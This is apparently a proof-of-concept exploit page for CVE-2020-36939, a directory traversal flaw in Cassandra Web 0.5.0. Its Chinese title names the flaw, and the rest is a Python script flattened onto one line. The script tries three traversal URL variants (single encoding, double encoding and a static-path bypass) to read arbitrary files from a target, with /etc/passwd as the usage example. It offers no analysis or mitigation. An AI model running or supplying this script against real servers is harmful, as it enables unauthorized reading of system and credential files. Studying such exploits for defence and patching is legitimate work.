CVE-2020-36939: Cassandra Web 0.5.0 目录遍历漏洞导致任意文件读取

# CVE-2020-36939 PoC - Cassandra Web Directory Traversal import requests import sys def exploit_cassandra_web(target_url, file_to_read): """ Exploit for CVE-2020-36939 - Cassandra Web Path Traversal Args: target_url: Base URL of vulnerable Cassandra Web instance file_to_read: Absolute path of file to read on target system """ # Encode path traversal sequences encoded_payload = file_to_read.replace('/', '%2F').replace('.', '%2E') # Method 1: Using URL encoding url1 = f"{target_url}/..%2F..%2F..%2F{encoded_payload}" # Method 2: Using double encoding url2 = f"{target_url}/..%252F..%252F..%252F{encoded_payload}" # Method 3: Using path normalization bypass url3 = f"{target_url}/static/../../{encoded_payload}" urls_to_try = [url1, url2, url3] for url in urls_to_try: try: print(f"[*] Trying: {url}") response = requests.get(url, timeout=10) if response.status_code == 200 and len(response.content) > 0: print(f"[!] Success! File content:") print(response.text) return True elif response.status_code == 200: print(f"[*] Received empty response, trying next method") except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print("Usage: python cve-2020-36939.py <target_url> <file_path>") print("Example: python cve-2020-36939.py http://target.com:3000 /etc/passwd") sys.exit(1) target = sys.argv[1] file_path = sys.argv[2] print(f"[*] Exploiting CVE-2020-36939 on {target}") print(f"[*] Attempting to read: {file_path}") if not exploit_cassandra_web(target, file_path): print("[-] Exploitation failed - target may not be vulnerable")